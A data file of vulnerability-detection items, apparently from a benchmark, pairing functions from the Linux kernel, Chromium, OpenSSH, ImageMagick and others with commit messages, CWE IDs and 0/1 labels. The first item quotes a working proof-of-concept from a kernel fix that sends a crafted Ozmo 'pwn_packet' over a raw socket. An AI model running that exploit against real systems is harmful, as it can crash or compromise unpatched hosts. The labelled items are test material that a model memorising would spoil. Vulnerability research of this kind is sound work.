.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189 | 0 | 43,183 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ssh_packet_inc_alive_timeouts(struct ssh *ssh)
{
return ++ssh->state->keep_alive_timeouts;
}
Commit Message:
CWE ID: CWE-119 | 0 | 12,965 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int snd_pcm_lib_write_transfer(struct snd_pcm_substream *substream,
unsigned int hwoff,
unsigned long data, unsigned int off,
snd_pcm_uframes_t frames)
{
struct snd_pcm_runtime *runtime = substream->runtime;
int err;
char __user *buf = (char __user *) data + frames_to_bytes(runtime, off);
if (substream->ops->copy) {
if ((err = substream->ops->copy(substream, -1, hwoff, buf, frames)) < 0)
return err;
} else {
char *hwbuf = runtime->dma_area + frames_to_bytes(runtime, hwoff);
if (copy_from_user(hwbuf, buf, frames_to_bytes(runtime, frames)))
return -EFAULT;
}
return 0;
}
Commit Message: ALSA: pcm : Call kill_fasync() in stream lock
Currently kill_fasync() is called outside the stream lock in
snd_pcm_period_elapsed(). This is potentially racy, since the stream
may get released even during the irq handler is running. Although
snd_pcm_release_substream() calls snd_pcm_drop(), this doesn't
guarantee that the irq handler finishes, thus the kill_fasync() call
outside the stream spin lock may be invoked after the substream is
detached, as recently reported by KASAN.
As a quick workaround, move kill_fasync() call inside the stream
lock. The fasync is rarely used interface, so this shouldn't have a
big impact from the performance POV.
Ideally, we should implement some sync mechanism for the proper finish
of stream and irq handler. But this oneliner should suffice for most
cases, so far.
Reported-by: Baozeng Ding <sploving1@gmail.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-416 | 0 | 47,840 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: jboolean setSSIDField(JNIHelper helper, jobject scanResult, const char *rawSsid) {
int len = strlen(rawSsid);
if (len > 0) {
JNIObject<jbyteArray> ssidBytes = helper.newByteArray(len);
helper.setByteArrayRegion(ssidBytes, 0, len, (jbyte *) rawSsid);
jboolean ret = helper.callStaticMethod(mCls,
"setSsid", "([BLandroid/net/wifi/ScanResult;)Z", ssidBytes.get(), scanResult);
return ret;
} else {
return true;
}
}
Commit Message: Deal correctly with short strings
The parseMacAddress function anticipates only properly formed
MAC addresses (6 hexadecimal octets separated by ":"). This
change properly deals with situations where the string is
shorter than expected, making sure that the passed in char*
reference in parseHexByte never exceeds the end of the string.
BUG: 28164077
TEST: Added a main function:
int main(int argc, char **argv) {
unsigned char addr[6];
if (argc > 1) {
memset(addr, 0, sizeof(addr));
parseMacAddress(argv[1], addr);
printf("Result: %02x:%02x:%02x:%02x:%02x:%02x\n",
addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]);
}
}
Tested with "", "a" "ab" "ab:c" "abxc".
Change-Id: I0db8d0037e48b62333d475296a45b22ab0efe386
CWE ID: CWE-200 | 0 | 159,146 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void raw_err(struct sock *sk, struct sk_buff *skb, u32 info)
{
struct inet_sock *inet = inet_sk(sk);
const int type = icmp_hdr(skb)->type;
const int code = icmp_hdr(skb)->code;
int err = 0;
int harderr = 0;
/* Report error on raw socket, if:
1. User requested ip_recverr.
2. Socket is connected (otherwise the error indication
is useless without ip_recverr and error is hard.
*/
if (!inet->recverr && sk->sk_state != TCP_ESTABLISHED)
return;
switch (type) {
default:
case ICMP_TIME_EXCEEDED:
err = EHOSTUNREACH;
break;
case ICMP_SOURCE_QUENCH:
return;
case ICMP_PARAMETERPROB:
err = EPROTO;
harderr = 1;
break;
case ICMP_DEST_UNREACH:
err = EHOSTUNREACH;
if (code > NR_ICMP_UNREACH)
break;
err = icmp_err_convert[code].errno;
harderr = icmp_err_convert[code].fatal;
if (code == ICMP_FRAG_NEEDED) {
harderr = inet->pmtudisc != IP_PMTUDISC_DONT;
err = EMSGSIZE;
}
}
if (inet->recverr) {
const struct iphdr *iph = (const struct iphdr *)skb->data;
u8 *payload = skb->data + (iph->ihl << 2);
if (inet->hdrincl)
payload = skb->data;
ip_icmp_error(sk, skb, err, 0, info, payload);
}
if (inet->recverr || harderr) {
sk->sk_err = err;
sk->sk_error_report(sk);
}
}
Commit Message: inet: add RCU protection to inet->opt
We lack proper synchronization to manipulate inet->opt ip_options
Problem is ip_make_skb() calls ip_setup_cork() and
ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),
without any protection against another thread manipulating inet->opt.
Another thread can change inet->opt pointer and free old one under us.
Use RCU to protect inet->opt (changed to inet->inet_opt).
Instead of handling atomic refcounts, just copy ip_options when
necessary, to avoid cache line dirtying.
We cant insert an rcu_head in struct ip_options since its included in
skb->cb[], so this patch is large because I had to introduce a new
ip_options_rcu structure.
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362 | 0 | 18,950 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: RenderFrameImpl::CreatePortal(mojo::ScopedInterfaceEndpointHandle pipe) {
int proxy_routing_id = MSG_ROUTING_NONE;
base::UnguessableToken portal_token;
GetFrameHost()->CreatePortal(
blink::mojom::PortalAssociatedRequest(std::move(pipe)), &proxy_routing_id,
&portal_token);
RenderFrameProxy* proxy =
RenderFrameProxy::CreateProxyForPortal(this, proxy_routing_id);
return std::make_pair(proxy->web_frame(), portal_token);
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416 | 0 | 139,558 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: MagickExport MagickBooleanType ClipImagePath(Image *image,const char *pathname,
const MagickBooleanType inside,ExceptionInfo *exception)
{
#define ClipImagePathTag "ClipPath/Image"
char
*property;
const char
*value;
Image
*clip_mask;
ImageInfo
*image_info;
assert(image != (const Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
assert(pathname != NULL);
property=AcquireString(pathname);
(void) FormatLocaleString(property,MagickPathExtent,"8BIM:1999,2998:%s",
pathname);
value=GetImageProperty(image,property,exception);
property=DestroyString(property);
if (value == (const char *) NULL)
{
ThrowFileException(exception,OptionError,"NoClipPathDefined",
image->filename);
return(MagickFalse);
}
image_info=AcquireImageInfo();
(void) CopyMagickString(image_info->filename,image->filename,
MagickPathExtent);
(void) ConcatenateMagickString(image_info->filename,pathname,
MagickPathExtent);
clip_mask=BlobToImage(image_info,value,strlen(value),exception);
image_info=DestroyImageInfo(image_info);
if (clip_mask == (Image *) NULL)
return(MagickFalse);
if (clip_mask->storage_class == PseudoClass)
{
(void) SyncImage(clip_mask,exception);
if (SetImageStorageClass(clip_mask,DirectClass,exception) == MagickFalse)
return(MagickFalse);
}
if (inside == MagickFalse)
(void) NegateImage(clip_mask,MagickFalse,exception);
(void) FormatLocaleString(clip_mask->magick_filename,MagickPathExtent,
"8BIM:1999,2998:%s\nPS",pathname);
(void) SetImageMask(image,ReadPixelMask,clip_mask,exception);
clip_mask=DestroyImage(clip_mask);
return(MagickTrue);
}
Commit Message: Set pixel cache to undefined if any resource limit is exceeded
CWE ID: CWE-119 | 0 | 94,829 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool GLES2Implementation::GetIntegeri_vHelper(GLenum pname,
GLuint index,
GLint* data) {
return false;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416 | 0 | 140,999 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static struct ion_handle *ion_handle_create(struct ion_client *client,
struct ion_buffer *buffer)
{
struct ion_handle *handle;
handle = kzalloc(sizeof(struct ion_handle), GFP_KERNEL);
if (!handle)
return ERR_PTR(-ENOMEM);
kref_init(&handle->ref);
RB_CLEAR_NODE(&handle->node);
handle->client = client;
ion_buffer_get(buffer);
ion_buffer_add_to_handle(buffer);
handle->buffer = buffer;
return handle;
}
Commit Message: staging/android/ion : fix a race condition in the ion driver
There is a use-after-free problem in the ion driver.
This is caused by a race condition in the ion_ioctl()
function.
A handle has ref count of 1 and two tasks on different
cpus calls ION_IOC_FREE simultaneously.
cpu 0 cpu 1
-------------------------------------------------------
ion_handle_get_by_id()
(ref == 2)
ion_handle_get_by_id()
(ref == 3)
ion_free()
(ref == 2)
ion_handle_put()
(ref == 1)
ion_free()
(ref == 0 so ion_handle_destroy() is
called
and the handle is freed.)
ion_handle_put() is called and it
decreases the slub's next free pointer
The problem is detected as an unaligned access in the
spin lock functions since it uses load exclusive
instruction. In some cases it corrupts the slub's
free pointer which causes a mis-aligned access to the
next free pointer.(kmalloc returns a pointer like
ffffc0745b4580aa). And it causes lots of other
hard-to-debug problems.
This symptom is caused since the first member in the
ion_handle structure is the reference count and the
ion driver decrements the reference after it has been
freed.
To fix this problem client->lock mutex is extended
to protect all the codes that uses the handle.
Signed-off-by: Eun Taik Lee <eun.taik.lee@samsung.com>
Reviewed-by: Laura Abbott <labbott@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-416 | 0 | 48,550 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: sk_sp<SkImage> SkiaOutputSurfaceImpl::MakePromiseSkImageFromRenderPass(
const RenderPassId& id,
const gfx::Size& size,
ResourceFormat format,
bool mipmap,
sk_sp<SkColorSpace> color_space) {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
DCHECK(current_paint_);
auto& image_context = render_pass_image_cache_[id];
if (!image_context) {
image_context = std::make_unique<ImageContextImpl>(id, size, format, mipmap,
std::move(color_space));
}
if (!image_context->has_image()) {
SkColorType color_type =
ResourceFormatToClosestSkColorType(true /* gpu_compositing */, format);
GrBackendFormat backend_format = GetGrBackendFormatForTexture(
format, GL_TEXTURE_2D, /*ycbcr_info=*/base::nullopt);
image_context->SetImage(
current_paint_->recorder()->makePromiseTexture(
backend_format, image_context->size().width(),
image_context->size().height(), image_context->mipmap(),
image_context->origin(), color_type, image_context->alpha_type(),
image_context->color_space(), Fulfill, DoNothing, DoNothing,
image_context.get()),
backend_format);
DCHECK(image_context->has_image());
}
images_in_current_paint_.push_back(image_context.get());
return image_context->image();
}
Commit Message: SkiaRenderer: Support changing color space
SkiaOutputSurfaceImpl did not handle the color space changing after it
was created previously. The SkSurfaceCharacterization color space was
only set during the first time Reshape() ran when the charactization is
returned from the GPU thread. If the color space was changed later the
SkSurface and SkDDL color spaces no longer matched and draw failed.
Bug: 1009452
Change-Id: Ib6d2083efc7e7eb6f94782342e92a809b69d6fdc
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1841811
Reviewed-by: Peng Huang <penghuang@chromium.org>
Commit-Queue: kylechar <kylechar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#702946}
CWE ID: CWE-704 | 0 | 135,974 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int su3000_identify_state(struct usb_device *udev,
struct dvb_usb_device_properties *props,
struct dvb_usb_device_description **desc,
int *cold)
{
info("%s", __func__);
*cold = 0;
return 0;
}
Commit Message: [media] dw2102: don't do DMA on stack
On Kernel 4.9, WARNINGs about doing DMA on stack are hit at
the dw2102 driver: one in su3000_power_ctrl() and the other in tt_s2_4600_frontend_attach().
Both were due to the use of buffers on the stack as parameters to
dvb_usb_generic_rw() and the resulting attempt to do DMA with them.
The device was non-functional as a result.
So, switch this driver over to use a buffer within the device state
structure, as has been done with other DVB-USB drivers.
Tested with TechnoTrend TT-connect S2-4600.
[mchehab@osg.samsung.com: fixed a warning at su3000_i2c_transfer() that
state var were dereferenced before check 'd']
Signed-off-by: Jonathan McDowell <noodles@earth.li>
Cc: <stable@vger.kernel.org>
Signed-off-by: Mauro Carvalho Chehab <mchehab@s-opensource.com>
CWE ID: CWE-119 | 0 | 66,781 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: create_nic_rule_node(
int match_class,
char *if_name, /* interface name or numeric address */
int action
)
{
nic_rule_node *my_node;
NTP_REQUIRE(match_class != 0 || if_name != NULL);
my_node = emalloc_zero(sizeof(*my_node));
my_node->match_class = match_class;
my_node->if_name = if_name;
my_node->action = action;
return my_node;
}
Commit Message: [Bug 1773] openssl not detected during ./configure.
[Bug 1774] Segfaults if cryptostats enabled and built without OpenSSL.
CWE ID: CWE-20 | 0 | 74,158 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void CloudPolicySubsystem::CreateDeviceTokenFetcher() {
device_token_fetcher_.reset(
new DeviceTokenFetcher(device_management_service_.get(),
cloud_policy_cache_.get(),
data_store_,
notifier_.get()));
}
Commit Message: Reset the device policy machinery upon retrying enrollment.
BUG=chromium-os:18208
TEST=See bug description
Review URL: http://codereview.chromium.org/7676005
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97615 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 97,772 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: config_other_modes(
config_tree * ptree
)
{
sockaddr_u addr_sock;
address_node * addr_node;
if (ptree->broadcastclient)
proto_config(PROTO_BROADCLIENT, ptree->broadcastclient,
0., NULL);
addr_node = HEAD_PFIFO(ptree->manycastserver);
while (addr_node != NULL) {
ZERO_SOCK(&addr_sock);
AF(&addr_sock) = addr_node->type;
if (1 == getnetnum(addr_node->address, &addr_sock, 1,
t_UNK)) {
proto_config(PROTO_MULTICAST_ADD,
0, 0., &addr_sock);
sys_manycastserver = 1;
}
addr_node = addr_node->link;
}
/* Configure the multicast clients */
addr_node = HEAD_PFIFO(ptree->multicastclient);
if (addr_node != NULL) {
do {
ZERO_SOCK(&addr_sock);
AF(&addr_sock) = addr_node->type;
if (1 == getnetnum(addr_node->address,
&addr_sock, 1, t_UNK)) {
proto_config(PROTO_MULTICAST_ADD, 0, 0.,
&addr_sock);
}
addr_node = addr_node->link;
} while (addr_node != NULL);
proto_config(PROTO_MULTICAST_ADD, 1, 0., NULL);
}
}
Commit Message: [Bug 1773] openssl not detected during ./configure.
[Bug 1774] Segfaults if cryptostats enabled and built without OpenSSL.
CWE ID: CWE-20 | 0 | 74,137 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ContentSecurityPolicy::ReportInvalidSandboxFlags(
const String& invalid_flags) {
LogToConsole(
"Error while parsing the 'sandbox' Content Security Policy directive: " +
invalid_flags);
}
Commit Message: Inherit the navigation initiator when navigating instead of the parent/opener
Spec PR: https://github.com/w3c/webappsec-csp/pull/358
Bug: 905301, 894228, 836148
Change-Id: I43ada2266d42d1cd56dbe3c6dd89d115e878a83a
Reviewed-on: https://chromium-review.googlesource.com/c/1314633
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/master@{#610850}
CWE ID: CWE-20 | 0 | 152,514 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: status_t CameraClient::setPreviewWindow(const sp<IBinder>& binder,
const sp<ANativeWindow>& window) {
Mutex::Autolock lock(mLock);
status_t result = checkPidAndHardware();
if (result != NO_ERROR) return result;
if (binder == mSurface) {
return NO_ERROR;
}
if (window != 0) {
result = native_window_api_connect(window.get(), NATIVE_WINDOW_API_CAMERA);
if (result != NO_ERROR) {
ALOGE("native_window_api_connect failed: %s (%d)", strerror(-result),
result);
return result;
}
}
if (mHardware->previewEnabled()) {
if (window != 0) {
native_window_set_scaling_mode(window.get(),
NATIVE_WINDOW_SCALING_MODE_SCALE_TO_WINDOW);
native_window_set_buffers_transform(window.get(), mOrientation);
result = mHardware->setPreviewWindow(window);
}
}
if (result == NO_ERROR) {
disconnectWindow(mPreviewWindow);
mSurface = binder;
mPreviewWindow = window;
} else {
disconnectWindow(window);
}
return result;
}
Commit Message: Camera: Disallow dumping clients directly
Camera service dumps should only be initiated through
ICameraService::dump.
Bug: 26265403
Change-Id: If3ca4718ed74bf33ad8a416192689203029e2803
CWE ID: CWE-264 | 0 | 161,797 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static uint32_t find_free_or_expired_nip(const uint8_t *safe_mac, unsigned arpping_ms)
{
uint32_t addr;
struct dyn_lease *oldest_lease = NULL;
#if ENABLE_FEATURE_UDHCPD_BASE_IP_ON_MAC
uint32_t stop;
unsigned i, hash;
/* hash hwaddr: use the SDBM hashing algorithm. Seems to give good
* dispersal even with similarly-valued "strings".
*/
hash = 0;
for (i = 0; i < 6; i++)
hash += safe_mac[i] + (hash << 6) + (hash << 16) - hash;
/* pick a seed based on hwaddr then iterate until we find a free address. */
addr = server_config.start_ip
+ (hash % (1 + server_config.end_ip - server_config.start_ip));
stop = addr;
#else
addr = server_config.start_ip;
#define stop (server_config.end_ip + 1)
#endif
do {
uint32_t nip;
struct dyn_lease *lease;
/* ie, 192.168.55.0 */
if ((addr & 0xff) == 0)
goto next_addr;
/* ie, 192.168.55.255 */
if ((addr & 0xff) == 0xff)
goto next_addr;
nip = htonl(addr);
/* skip our own address */
if (nip == server_config.server_nip)
goto next_addr;
/* is this a static lease addr? */
if (is_nip_reserved(server_config.static_leases, nip))
goto next_addr;
lease = find_lease_by_nip(nip);
if (!lease) {
if (nobody_responds_to_arp(nip, safe_mac, arpping_ms))
return nip;
} else {
if (!oldest_lease || lease->expires < oldest_lease->expires)
oldest_lease = lease;
}
next_addr:
addr++;
#if ENABLE_FEATURE_UDHCPD_BASE_IP_ON_MAC
if (addr > server_config.end_ip)
addr = server_config.start_ip;
#endif
} while (addr != stop);
if (oldest_lease
&& is_expired_lease(oldest_lease)
&& nobody_responds_to_arp(oldest_lease->lease_nip, safe_mac, arpping_ms)
) {
return oldest_lease->lease_nip;
}
return 0;
}
Commit Message:
CWE ID: CWE-125 | 0 | 13,123 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void put_event(struct perf_event *event)
{
struct perf_event_context *ctx;
if (!atomic_long_dec_and_test(&event->refcount))
return;
if (!is_kernel_event(event))
perf_remove_from_owner(event);
/*
* There are two ways this annotation is useful:
*
* 1) there is a lock recursion from perf_event_exit_task
* see the comment there.
*
* 2) there is a lock-inversion with mmap_sem through
* perf_read_group(), which takes faults while
* holding ctx->mutex, however this is called after
* the last filedesc died, so there is no possibility
* to trigger the AB-BA case.
*/
ctx = perf_event_ctx_lock_nested(event, SINGLE_DEPTH_NESTING);
WARN_ON_ONCE(ctx->parent_ctx);
perf_remove_from_context(event, true);
perf_event_ctx_unlock(event, ctx);
_free_event(event);
}
Commit Message: perf: Fix race in swevent hash
There's a race on CPU unplug where we free the swevent hash array
while it can still have events on. This will result in a
use-after-free which is BAD.
Simply do not free the hash array on unplug. This leaves the thing
around and no use-after-free takes place.
When the last swevent dies, we do a for_each_possible_cpu() iteration
anyway to clean these up, at which time we'll free it, so no leakage
will occur.
Reported-by: Sasha Levin <sasha.levin@oracle.com>
Tested-by: Sasha Levin <sasha.levin@oracle.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: Arnaldo Carvalho de Melo <acme@redhat.com>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jiri Olsa <jolsa@redhat.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Stephane Eranian <eranian@google.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Vince Weaver <vincent.weaver@maine.edu>
Signed-off-by: Ingo Molnar <mingo@kernel.org>
CWE ID: CWE-416 | 0 | 56,145 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: decode_labeled_vpn_l2(netdissect_options *ndo,
const u_char *pptr, char *buf, u_int buflen)
{
int plen,tlen,stringlen,tlv_type,tlv_len,ttlv_len;
ND_TCHECK2(pptr[0], 2);
plen=EXTRACT_16BITS(pptr);
tlen=plen;
pptr+=2;
/* Old and new L2VPN NLRI share AFI/SAFI
* -> Assume a 12 Byte-length NLRI is auto-discovery-only
* and > 17 as old format. Complain for the middle case
*/
if (plen==12) {
/* assume AD-only with RD, BGPNH */
ND_TCHECK2(pptr[0],12);
buf[0]='\0';
stringlen=snprintf(buf, buflen, "RD: %s, BGPNH: %s",
bgp_vpn_rd_print(ndo, pptr),
ipaddr_string(ndo, pptr+8)
);
UPDATE_BUF_BUFLEN(buf, buflen, stringlen);
pptr+=12;
tlen-=12;
return plen;
} else if (plen>17) {
/* assume old format */
/* RD, ID, LBLKOFF, LBLBASE */
ND_TCHECK2(pptr[0],15);
buf[0]='\0';
stringlen=snprintf(buf, buflen, "RD: %s, CE-ID: %u, Label-Block Offset: %u, Label Base %u",
bgp_vpn_rd_print(ndo, pptr),
EXTRACT_16BITS(pptr+8),
EXTRACT_16BITS(pptr+10),
EXTRACT_24BITS(pptr+12)>>4); /* the label is offsetted by 4 bits so lets shift it right */
UPDATE_BUF_BUFLEN(buf, buflen, stringlen);
pptr+=15;
tlen-=15;
/* ok now the variable part - lets read out TLVs*/
while (tlen>0) {
if (tlen < 3)
return -1;
ND_TCHECK2(pptr[0], 3);
tlv_type=*pptr++;
tlv_len=EXTRACT_16BITS(pptr);
ttlv_len=tlv_len;
pptr+=2;
switch(tlv_type) {
case 1:
if (buflen!=0) {
stringlen=snprintf(buf,buflen, "\n\t\tcircuit status vector (%u) length: %u: 0x",
tlv_type,
tlv_len);
UPDATE_BUF_BUFLEN(buf, buflen, stringlen);
}
ttlv_len=ttlv_len/8+1; /* how many bytes do we need to read ? */
while (ttlv_len>0) {
ND_TCHECK(pptr[0]);
if (buflen!=0) {
stringlen=snprintf(buf,buflen, "%02x",*pptr++);
UPDATE_BUF_BUFLEN(buf, buflen, stringlen);
}
ttlv_len--;
}
break;
default:
if (buflen!=0) {
stringlen=snprintf(buf,buflen, "\n\t\tunknown TLV #%u, length: %u",
tlv_type,
tlv_len);
UPDATE_BUF_BUFLEN(buf, buflen, stringlen);
}
break;
}
tlen-=(tlv_len<<3); /* the tlv-length is expressed in bits so lets shift it right */
}
return plen+2;
} else {
/* complain bitterly ? */
/* fall through */
goto trunc;
}
trunc:
return -2;
}
Commit Message: CVE-2017-13053/BGP: fix VPN route target bounds checks
decode_rt_routing_info() didn't check bounds before fetching 4 octets of
the origin AS field and could over-read the input buffer, put it right.
It also fetched the varying number of octets of the route target field
from 4 octets lower than the correct offset, put it right.
It also used the same temporary buffer explicitly through as_printf()
and implicitly through bgp_vpn_rd_print() so the end result of snprintf()
was not what was originally intended.
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s).
CWE ID: CWE-125 | 0 | 62,259 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Document::write(const String& text,
Document* entered_document,
ExceptionState& exception_state) {
if (ImportLoader()) {
exception_state.ThrowDOMException(
DOMExceptionCode::kInvalidStateError,
"Imported document doesn't support write().");
return;
}
if (!IsHTMLDocument()) {
exception_state.ThrowDOMException(DOMExceptionCode::kInvalidStateError,
"Only HTML documents support write().");
return;
}
if (throw_on_dynamic_markup_insertion_count_) {
exception_state.ThrowDOMException(
DOMExceptionCode::kInvalidStateError,
"Custom Element constructor should not use write().");
return;
}
if (entered_document && !GetSecurityOrigin()->IsSameSchemeHostPort(
entered_document->GetSecurityOrigin())) {
exception_state.ThrowSecurityError(
"Can only call write() on same-origin documents.");
return;
}
NestingLevelIncrementer nesting_level_incrementer(write_recursion_depth_);
write_recursion_is_too_deep_ =
(write_recursion_depth_ > 1) && write_recursion_is_too_deep_;
write_recursion_is_too_deep_ =
(write_recursion_depth_ > kCMaxWriteRecursionDepth) ||
write_recursion_is_too_deep_;
if (write_recursion_is_too_deep_)
return;
bool has_insertion_point = parser_ && parser_->HasInsertionPoint();
if (!has_insertion_point) {
if (ignore_destructive_write_count_) {
AddConsoleMessage(ConsoleMessage::Create(
kJSMessageSource, kWarningMessageLevel,
ExceptionMessages::FailedToExecute(
"write", "Document",
"It isn't possible to write into a document "
"from an asynchronously-loaded external "
"script unless it is explicitly opened.")));
return;
}
if (ignore_opens_during_unload_count_)
return;
open(entered_document, ASSERT_NO_EXCEPTION);
}
DCHECK(parser_);
PerformanceMonitor::ReportGenericViolation(
this, PerformanceMonitor::kDiscouragedAPIUse,
"Avoid using document.write().", base::TimeDelta(), nullptr);
probe::breakableLocation(this, "Document.write");
parser_->insert(text);
}
Commit Message: Inherit CSP when self-navigating to local-scheme URL
As the linked bug example shows, we should inherit CSP when we navigate
to a local-scheme URL (even if we are in a main browsing context).
Bug: 799747
Change-Id: I8413aa8e8049461ebcf0ffbf7b04c41d1340af02
Reviewed-on: https://chromium-review.googlesource.com/c/1234337
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#597889}
CWE ID: | 0 | 144,057 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: sg_get_rq_mark(Sg_fd * sfp, int pack_id)
{
Sg_request *resp;
unsigned long iflags;
write_lock_irqsave(&sfp->rq_list_lock, iflags);
list_for_each_entry(resp, &sfp->rq_list, entry) {
/* look for requests that are ready + not SG_IO owned */
if ((1 == resp->done) && (!resp->sg_io_owned) &&
((-1 == pack_id) || (resp->header.pack_id == pack_id))) {
resp->done = 2; /* guard against other readers */
write_unlock_irqrestore(&sfp->rq_list_lock, iflags);
return resp;
}
}
write_unlock_irqrestore(&sfp->rq_list_lock, iflags);
return NULL;
}
Commit Message: scsi: sg: fixup infoleak when using SG_GET_REQUEST_TABLE
